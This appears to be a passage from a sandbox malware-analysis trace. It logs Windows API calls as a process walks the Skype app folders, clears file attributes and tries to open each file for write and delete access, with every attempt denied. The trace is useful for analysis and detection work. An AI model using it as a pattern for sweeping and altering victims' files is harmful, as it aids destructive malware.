	[0091.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0335567, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x73778cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b428
	[0091.253] wcscmp (_String1=".", _String2=".") returned 0
	[0091.253] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0335567, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x73778cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.253] wcscmp (_String1="..", _String2=".") returned 1
	[0091.253] wcscmp (_String1="..", _String2="..") returned 0
	[0091.253] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x73778cb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x73778cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0091.253] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0091.253] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0091.253] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491caa0
	[0091.253] wcscpy (in: _Dest=0x491caa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata"
	[0091.253] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\"
	[0091.254] wcscat (in: _Dest=0x491caa0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml"
	[0091.254] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0091.254] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.254] GetLastError () returned 0x5
	[0091.254] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0091.254] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73778cb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x73778cb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x73778cb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0091.254] FindClose (in: hFindFile=0x477b428 | out: hFindFile=0x477b428) returned 1
	[0091.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f498) returned 1
	[0091.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0091.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.254] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739db1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x73c3d79, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x73c3d79, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x295b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.254] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.254] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12b90
	[0091.254] wcscpy (in: _Dest=0x2e12b90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0091.254] wcscat (in: _Dest=0x2e12b90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\"
	[0091.255] wcscat (in: _Dest=0x2e12b90, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x"
	[0091.255] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxsignature.p7x")) returned 0x20
	[0091.256] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.256] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.257] GetLastError () returned 0x5
	[0091.257] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12b90) returned 1
	[0091.257] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.257] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.257] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491cb98
	[0091.257] wcscpy (in: _Dest=0x491cb98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c"
	[0091.257] wcscat (in: _Dest=0x491cb98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\"
	[0091.257] wcscat (in: _Dest=0x491cb98, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b268
	[0091.257] wcscpy (in: _Dest=0x491b268, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata"
	[0091.257] wcscat (in: _Dest=0x491b268, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata\\"
	[0091.257] wcscat (in: _Dest=0x491b268, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*"
	[0091.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50313e0
	[0091.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c\\microsoft.system.package.metadata\\*", lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0091.257] wcscmp (_String1=".", _String2=".") returned 0
	[0091.257] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.258] wcscmp (_String1="..", _String2=".") returned 1
	[0091.258] wcscmp (_String1="..", _String2="..") returned 0
	[0091.258] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.258] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0091.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50313e0) returned 1
	[0091.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b268) returned 1
	[0091.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0091.258] FindNextFileW (in: hFindFile=0x46a70d0, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xdba15ff2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0091.258] FindClose (in: hFindFile=0x46a70d0 | out: hFindFile=0x46a70d0) returned 1
	[0091.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0091.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0091.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d4b8) returned 1

Thread:
	id = 851
	os_tid = 0x13b4

	[0082.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986ef0
	[0082.037] wcscpy (in: _Dest=0x4986ef0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0082.037] wcscat (in: _Dest=0x4986ef0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0082.037] wcscat (in: _Dest=0x4986ef0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\*"
	[0082.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712e78
	[0082.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\*", lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7410239, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7110
	[0082.039] wcscmp (_String1=".", _String2=".") returned 0
	[0082.039] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7410239, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xdba15ff2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xdba15ff2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.040] wcscmp (_String1="..", _String2=".") returned 1
	[0082.040] wcscmp (_String1="..", _String2="..") returned 0
	[0082.040] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7436489, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7436489, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7436489, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31187, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.040] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.040] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.040] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47cb990
	[0082.040] wcscpy (in: _Dest=0x47cb990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0082.040] wcscat (in: _Dest=0x47cb990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0082.040] wcscat (in: _Dest=0x47cb990, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml"
	[0091.218] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxblockmap.xml")) returned 0x20
	[0091.221] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.222] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.222] GetLastError () returned 0x5
	[0091.222] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb990) returned 1
	[0091.222] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7410239, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7410239, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7410239, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.222] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.222] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49260d0
	[0091.222] wcscpy (in: _Dest=0x49260d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.222] wcscat (in: _Dest=0x49260d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.222] wcscat (in: _Dest=0x49260d0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml"
	[0091.222] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxmanifest.xml")) returned 0x20
	[0091.222] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.222] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.223] GetLastError () returned 0x5
	[0091.223] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49260d0) returned 1
	[0091.223] FindNextFileW (in: hFindFile=0x46a7110, lpFindFileData=0x4712e78 | out: lpFindFileData=0x4712e78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c6e7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb03fc1b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x745c6e7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.223] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.223] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c960
	[0091.223] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c"
	[0091.223] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\"
	[0091.223] wcscat (in: _Dest=0x4f2c960, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata"
	[0091.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x49260d0
	[0091.223] wcscpy (in: _Dest=0x49260d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata"
	[0091.223] wcscat (in: _Dest=0x49260d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\AppxMetadata\\"
